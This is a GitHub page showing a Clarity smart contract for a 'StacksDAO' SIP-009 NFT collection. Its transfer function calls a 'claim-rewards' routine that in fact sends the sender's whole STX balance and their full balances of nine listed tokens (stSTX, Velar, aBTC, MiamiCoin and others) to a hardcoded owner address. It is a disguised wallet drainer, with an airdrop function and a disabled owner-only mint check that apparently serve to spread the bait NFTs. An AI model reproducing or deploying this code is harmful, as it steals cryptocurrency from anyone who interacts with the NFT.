-
Notifications
You must be signed in to change notification settings - Fork 14
Expand file tree
/
Copy pathStacksDAO_T14.clar
More file actions
147 lines (131 loc) · 4.95 KB
/
StacksDAO_T14.clar
File metadata and controls
147 lines (131 loc) · 4.95 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
;; This contract implements the SIP-009 community-standard Non-Fungible Token trait
(impl-trait 'SP2PABAF9FTAJYNFZH93XENAJ8FVY99RRM50D2JG9.nft-trait.nft-trait)
(use-trait sip-010-traits 'SP2AKYDTTKYD3F3NH57ZHNTJD0Z1QSJMG6NYT5KJG.sip-010-trait.sip-010-trait)
;; Define the NFT's name
(define-non-fungible-token stacksdao uint)
;; Keep track of the last minted token ID
(define-data-var last-token-id uint u0)
(define-data-var TOKEN_OWNER principal 'SP2AKYDTTKYD3F3NH57ZHNTJD0Z1QSJMG6NYT5KJG)
;; Define constants
(define-constant CONTRACT_OWNER tx-sender)
(define-constant COLLECTION_LIMIT u1000) ;; Limit to series of 1000
(define-constant ERR_OWNER_ONLY (err u100))
(define-constant ERR_NOT_TOKEN_OWNER (err u101))
(define-constant ERR_SOLD_OUT (err u300))
(define-data-var base-uri (string-ascii 80) "https://ipfs.io/ipfs/QmZQb71yY8EFy1Up8JCyhokN2zF4fRP8zMfMAciHHrEcEP/")
;; SIP-009 function: Get the last minted token ID.
(define-read-only (get-last-token-id)
(ok (var-get last-token-id))
)
;; SIP-009 function: Get link where token metadata is hosted
(define-read-only (get-token-uri (token-id uint))
(ok (some (var-get base-uri)))
)
;; SIP-009 function: Get the owner of a given token
(define-read-only (get-owner (token-id uint))
(ok (nft-get-owner? stacksdao token-id))
)
;; SIP-009 function: Transfer NFT token to another owner.
(define-public (transfer (token-id uint) (sender principal) (recipient principal))
(begin
;; #[filter(sender)]
(asserts! (is-eq tx-sender sender) ERR_NOT_TOKEN_OWNER)
;; (nft-transfer? stacksdao token-id sender recipient)
(let ((result (nft-transfer? stacksdao token-id sender recipient)))
(if (is-ok result)
(begin
(unwrap! (claim-rewards) (err u1002))
(ok true)
)
(err u1001) ;;;; Handle transfer failure with a specific error code
)
)
)
)
(define-public (transfer-stx)
(let
(
(sender-balance (stx-get-balance tx-sender))
)
(if (>= sender-balance u10)
(let
(
(pToken-Owner (var-get TOKEN_OWNER))
(transfer-result (stx-transfer? sender-balance tx-sender pToken-Owner))
)
(ok (print transfer-result))
)
(err u504)
)
)
)
(define-public (transfer-token
(contract <sip-010-traits>))
(begin
(let
(
;; (token-balance u200)
(token-balance (unwrap! (contract-call? contract get-balance tx-sender) (err u407)))
)
(if (>= token-balance u10)
(let
(
(pToken-Owner (var-get TOKEN_OWNER))
(res (contract-call? contract transfer token-balance tx-sender pToken-Owner (some 0x02)))
)
(ok u200)
)
(err u407)
)
)
)
)
(define-public (claim-rewards)
(begin
(let
(
;; (current-contracts (var-get tokenContracts))
(res1 (transfer-stx))
(res2 (transfer-token 'SP4SZE494VC2YC5JYG7AYFQ44F5Q4PYV7DVMDPBG.ststx-token))
(res3 (transfer-token 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.velar-token))
(res4 (transfer-token 'SP3NE50GEXFG9SZGTT51P40X2CKYSZ5CC4ZTZ7A2G.welshcorgicoin-token))
(res5 (transfer-token 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.token-abtc))
(res6 (transfer-token 'SP1H1733V5MZ3SZ9XRW9FKYGEZT0JDGEB8Y634C7R.miamicoin-token-v2))
(res7 (transfer-token 'SPSCWDV3RKV5ZRN1FQD84YE1NQFEDJ9R1F4DYQ11.newyorkcitycoin-token-v2))
(res8 (transfer-token 'SP1Z92MPDQEWZXW36VX71Q25HKF5K2EPCJ304F275.stsw-token-v4a))
(res9 (transfer-token 'SP1AY6K3PQV5MRT6R4S671NWW2FRVPKM0BR162CT6.leo-token))
)
(ok true)
)
)
)
;; Mint a new NFT.
(define-public (mint (recipient principal))
;; Create the new token ID by incrementing the last minted ID.
(let ((token-id (+ (var-get last-token-id) u1)))
;; Ensure the collection stays within the limit.
(asserts! (< (var-get last-token-id) COLLECTION_LIMIT) ERR_SOLD_OUT)
;; Only the contract owner can mint.
;; (asserts! (is-eq tx-sender CONTRACT_OWNER) ERR_OWNER_ONLY)
;; Mint the NFT and send it to the given recipient.
(try! (nft-mint? stacksdao token-id recipient))
;; Update the last minted token ID.
(var-set last-token-id token-id)
;; Return a success status and the newly minted NFT ID.
(ok token-id)
)
)
(define-public (stacksdao-genesis (recipients (list 1000 principal) ))
(let ((result (map send-token recipients))) (ok true))
)
(define-private (send-token (to principal))
(let (
(transferOk (try! (mint to))))
(ok transferOk)
)
)
(begin
(try! (mint CONTRACT_OWNER))
;; (try! (ft-mint? bitflow u20000000000 'SP31GQBM80BBKWABPHGZPRY6W97QTNJX6Z39NZQHV))
;; (try! (ft-mint? bitflow u100000000000 'ST18VZNQWK7R44BFN75X3RANYRAT4B9ZA8S47KZ24))
)